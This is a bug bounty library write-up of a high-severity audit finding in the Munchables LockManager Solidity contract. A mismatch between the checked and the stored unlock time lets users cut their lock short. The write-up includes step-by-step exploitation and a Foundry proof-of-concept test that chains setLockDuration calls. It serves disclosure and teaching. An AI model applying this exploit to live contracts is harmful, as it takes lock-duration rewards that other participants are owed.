# Invalid validation allows users to unlock early

Munchables setLockDuration validated block.timestamp+_duration but set unlockTime to lastLockTime+_duration, letting users repeatedly halve lock time and unlock early.

- Payout: Audit contest
- Severity: high
- Program: Munchables
- Found by: SpicyMeatball
- Disclosed: 2024-06-21
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-05-munchables-findings/issues/7
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-munchables%3AH-02
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** LockManager.sol setLockDuration lock accounting
**Root cause:** The guard compares block.timestamp + _duration against existing unlockTime, but the new unlockTime is computed as lastLockTime + _duration, so the validated value differs from the stored value.
**Steps:**
1. Lock tokens via `lm.lock{value: 100e18}(address(0), 100e18)` giving unlockTime = now + 86400
2. Warp forward 10000 seconds
3. Call `setLockDuration(76401)`: check 10000+76401 > 86400 passes, unlockTime set to 0+76401
4. Repeat with decreasing durations (66402, 56403, ... 6408), each halving remaining time
5. Call `lm.unlock(address(0), lockAmount)` to withdraw early
**How found:** Code reading of setLockDuration: noticed the validation expression uses block.timestamp while the assignment uses lastLockTime, a mismatch between checked and stored values.
**Exploitation:** User locks tokens, then repeatedly calls setLockDuration with durations just above the elapsed time so the check passes while lastLockTime + _duration keeps shrinking unlockTime, then unlocks early while retaining long-lock bonuses and extra NFT reveals.
**Escalation:** Repeated setLockDuration calls compound, halving remaining lock time each iteration until near-instant unlock.
**Insight:** When a function validates one expression but stores a different one, diff the two formulas; here the guard used block.timestamp while the write used lastLockTime, so any duration between elapsed-time and remaining-time passes and shrinks the lock.

## Proof of concept (copied exactly from the original report)

**Foundry test unlocking early via repeated setLockDuration**

```
function test_Early() public {
        uint256 lockAmount = 100e18;

        console.log("Beginning run()");
        deployContracts();

        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery");

        // lock tokens for 86400 seconds
        lm.lock{value: lockAmount}(address(0), lockAmount);
        // 10000 seconds pass, use multiple setDurations to unlock instantly
        vm.warp(10000);
        lm.setLockDuration(76401);
        lm.setLockDuration(66402);
        lm.setLockDuration(56403);
        lm.setLockDuration(46404);
        lm.setLockDuration(36405);
        lm.setLockDuration(26406);
        lm.setLockDuration(16407);
        lm.setLockDuration(6408);
        lm.unlock(address(0), lockAmount);
    }
```

